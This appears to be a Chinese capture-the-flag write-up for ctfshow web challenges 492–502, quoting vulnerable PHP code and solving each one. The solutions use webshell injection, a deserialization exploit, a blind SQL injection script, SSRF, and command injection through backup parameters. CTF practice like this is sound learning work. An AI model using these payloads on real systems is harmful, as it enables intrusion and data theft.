web492
<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
extract($_GET);
if(preg_match('/^[A-Za-z0-9]+$/', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one_array($sql);
}
if($user){
templateUtil::render('index',$user);
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
又可以写文件了,但是得找利用点,先扒源码吧
class db{
public static function getConnection(){
$username='root';
$password='root';
$port='3306';
$addr='127.0.0.1';
$database='ctfshow';
return new mysqli($addr,$username,$password,$database);
}
public static function select_one($sql){
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}
}
public static function select_one_array($sql){
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_assoc();
}
}
}
<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', '<!--'.$value.'-->', $templateContent);
}
return $templateContent;
}
}
这里有个替换函数可以把value写在网页里面,我们传数组即可
不对必须是username
?action=check&user[username]=<?php eval($_POST[1]);?>
写进去了
url/cache/6a992d5529f459a44fee58c733255e86.php
RCE 即可
还有一种是直接把html前后闭合了
?action=check&user[username]=--> <?php eval($_POST[1]);?> <!--
web493
<?php
session_start();
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
$user=unserialize($c); //看到没
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}
if($action=='check'){
extract($_GET);
if(preg_match('/^[A-Za-z0-9]+$/', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one($sql);
}
if($user){
setcookie('user',$user);
templateUtil::render('index');
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
看到反序列化了,我们找poc链
<?php
error_reporting(0);
class db{
public $db;
public $log;
public $sql;
public $username='root';
public $password='root';
public $port='3306';
public $addr='127.0.0.1';
public $database='ctfshow';
public function __construct(){
$this->log=new dbLog();
$this->db=$this->getConnection();
}
public function getConnection(){
return new mysqli($this->addr,$this->username,$this->password,$this->database);
}
public function select_one($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}
}
public function select_one_array($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_assoc();
}
}
public function __destruct(){
$this->log->log($this->sql);
}
}
class dbLog{
public $sql;
public $content;
public $log;
public function __construct(){
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}
别的文件都不用看了这里的destruct会写马
EXP
<?php
class dbLog{
public $content='<?=eval($_POST[1]);?>';
public $log='/var/www/html/ma.php';
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}
echo urlencode(serialize(new dbLog()));
?>
?action=check
cookie:
user=O%3A5%3A%22dbLog%22%3A2%3A%7Bs%3A7%3A%22content%22%3Bs%3A21%3A%22%3C%3F%3Deval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A20%3A%22%2Fvar%2Fwww%2Fhtml%2Fma.php%22%3B%7D
要触发反序列化需要if(!isset($action))
所以再回去访问一次,然后访问url/ma.php
进行RCE
web494
大致代码和上题一样,用一样的EXP打通之后发现找不到flag,于是antsword链接之后用数据库操作找到flag
web495
与上题一样只不过发cookie的时候发快点,别让他跳转了
web496
<?php
session_start();
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
if(preg_match('/\:|\,/', $c)){
#$user=unserialize($c);
}
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}
switch ($action) {
case 'check':
$username=$_POST['username'];
$password=$_POST['password'];
if(!preg_match('/or|file|innodb|sys|mysql/i', $username)){
$sql = "select username,nickname from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one_array($sql);
}
if($user){
$_SESSION['user']=$user;
header('location:index.php?action=index');
}else{
templateUtil::render('error');
}
break;
case 'clear':
system('rm -rf cache/*');
die('cache clear');
break;
case 'login':
templateUtil::render($action);
break;
case 'index':
$user=$_SESSION['user'];
if($user){
templateUtil::render('index',$user);
}else{
header('location:index.php?action=login');
}
break;
case 'view':
$user=$_SESSION['user'];
if($user){
templateUtil::render($_GET['page'],$user);
}else{
header('location:index.php?action=login');
}
break;
case 'logout':
session_destroy();
header('location:index.php?action=login');
break;
default:
templateUtil::render($action);
break;
}
没有什么东西
先登录没想到成功了
username: -1'||1=1#
password :1
layui.use(['layer', 'form'], function(){
var layer = layui.layer
,form = layui.form;
form.on('submit(admin_edit)', function(data){
$.ajax({
url:'api/admin_edit.php',
dataType:"json",
type:'post',
data:{
username:data.field['username'],
nickname:data.field['nickname']
},
success:function(data){
layer.alert(data.msg, function(index){
location.reload();
});
}
});
return false;
});
form.on('switch(changePWD)',function(data){
$('#changePWD').toggle();
});
});
layui.use('element', function(){
var element = layui.element;
});
<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
$sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'";
$db=new db();
if($db->update_one($sql)){
$_SESSION['user']['nickname']=$nickname;
$ret['msg']='管理员信息修改成功';
}else{
$ret['msg']='管理员信息修改失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
update注入而且还有POST的变量覆盖想想怎么写脚本
这里还有时间注入
首先我们要登录界面,然后再注入
截取nickname的8位这里用一个随机数生成来满足,一直写1的话刚才实验是没有成功的
为1时
{"code":0,"msg":"\u7ba1\u7406\u5458\u4fe1\u606f\u4fee\u6539\u6210\u529f","count":0,"data":[]}
为0
{"code":0,"msg":"\u7ba1\u7406\u5458\u4fe1\u606f\u4fee\u6539\u5931\u8d25","count":0,"data":[]}
不得不说写脚本的时候调payload又调了好一会,服了
import requests
import random
url1="http://f8d0053d-629e-4755-90dc-32b3de93bb58.challenge.ctf.show/index.php?action=check"
url2="http://f8d0053d-629e-4755-90dc-32b3de93bb58.challenge.ctf.show/api/admin_edit.php"
data={
'username':"'|| 1=1#",
'password':'1'
}
session=requests.session()
session.post(url=url1,data=data)
flag=""
i=0
while True:
i+=1
head=127
tail=32
while tail < head:
mid =(head+tail)//2
# payload=f"'||(if(ascii(substr((database()),{i},1))>{mid},1,0))#"
# payload=f"'||(if(ascii(substr((SElect(group_concat(table_name))from(information_schema.tables)where(table_schema)='ctfshow'),{i},1))>{mid},1,0))#"
# flagyoudontknow76,user
payload=f"'||(if(ascii(substr((SElect(group_concat(column_name))from(information_schema.columns)where(table_name)='flagyoudontknow76'),{i},1))>{mid},1,0))#"
payload=f"'||(if(ascii(substr((SElect(group_concat(flagisherebutyouneverknow118))from(ctfshow.flagyoudontknow76)),{i},1))>{mid},1,0))#"
data={
"user[username]":payload,
'nickname':random.randint(0,9999999)
}
r=session.post(url=url2,data=data)
if 'u529f' in r.text:
tail=mid+1
else :
head=mid
if tail !=32:
flag+=chr(tail)
else :
break
print("\r"+flag,end="")
web497
username: '||1=1#
password: 1
万能密码登录
?action=../api/admin_edit
<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
$user= $_SESSION['user'];
if(preg_match('/\'|\"|\\\/', $avatar)){
$ret['msg']='存在无效字符';
die(json_encode($ret));
}
$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'";
$db=new db();
if($db->update_one($sql)){
$_SESSION['user']['nickname']=$nickname;
$_SESSION['user']['avatar']=$avatar;
$ret['msg']='管理员信息修改成功';
}else{
$ret['msg']='管理员信息修改失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
两种解法但是原理一样都是利用覆盖,通过file://
协议获取flag
第一种直接就传参了,这种就是得回页面看了
web498
万能密码进后台,然后发现框子不能直接读了,但是这种框框要么是xss要么是ssrf,试试
dict://127.0.0.1:6379
6379端口开着的打Redis
但是这仅仅只是直觉,审计代码看看那
发现代码没啥问题,那莫非上题也可以直接打Redis?
但是我这边好像给网站直接打瘫痪了,加载不出来了,那就只能用antsword了
这边也是看到了自己的shell
诶那么我们刚才说上一题也可以直接Redis,那来试试?
尝试了 一下不行端口没开
web499
进入之后发现解锁了系统配置
源码肯定不一样了,我们看看那
layui.use(['layer', 'form'], function(){
var layer = layui.layer
,form = layui.form;
form.on('submit(admin_settings)', function(data){
$.ajax({
url:'api/admin_settings.php',
dataType:"json",
type:'post',
data:{
title:data.field['title'],
copy_right:data.field['copy_right'],
beian:data.field['beian'],
seo:data.field['seo']
},
success:function(data){
layer.alert(data.msg, function(index){
location.reload();
});
}
});
return false;
});
});
layui.use('element', function(){
var element = layui.element;
});
function change_avatar(){
$('#avatar').toggle();
}
确实是出现了新文件
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings.php'));
foreach ($_POST as $key => $value) {
$config[$key]=$value;
}
file_put_contents(__DIR__.'/../config/settings.php', serialize($config));
$ret['msg']='管理员信息修改成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
可以写入木马
web500
找半天
?action=../api/admin_db_backup
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);
if(file_exists(__DIR__.'/../backup/'.$db_path)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
覆盖之后执行命令
参数也有是db_path
db_path=;tac /f* > /var/www/html/1.txt
第一次直接写的txt不行
web501
?action=../api/admin_db_backup
还是这段代码有问题
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(preg_match('/^zip|tar|sql$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format);
if(file_exists(__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
这边是加了一个正则和在中间插入了时间但是还是比较好绕过
我尝试了一下zip\tar
都可以但是sql不行好奇怪
db_format=tar;tac /f* > /var/www/html/9.txt
web502
<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
die(json_encode($ret));
}
if(preg_match('/^(zip|tar|sql)$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.$pre.$db_format);
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
这里的正则只是加了个括号就大不一样,这会匹配zip\tar\sql
,所以不能覆盖他来执行命令了,但是这里还有一个pre
api/admin_db_backup.php
传参
db_format=tar&pre=1;tac /f* > /var/www/html/1.txt;1
我写成zip一直打不通
我深度怀疑是环境的问题我他喵fuel
暂时没打通但是理论上payload没错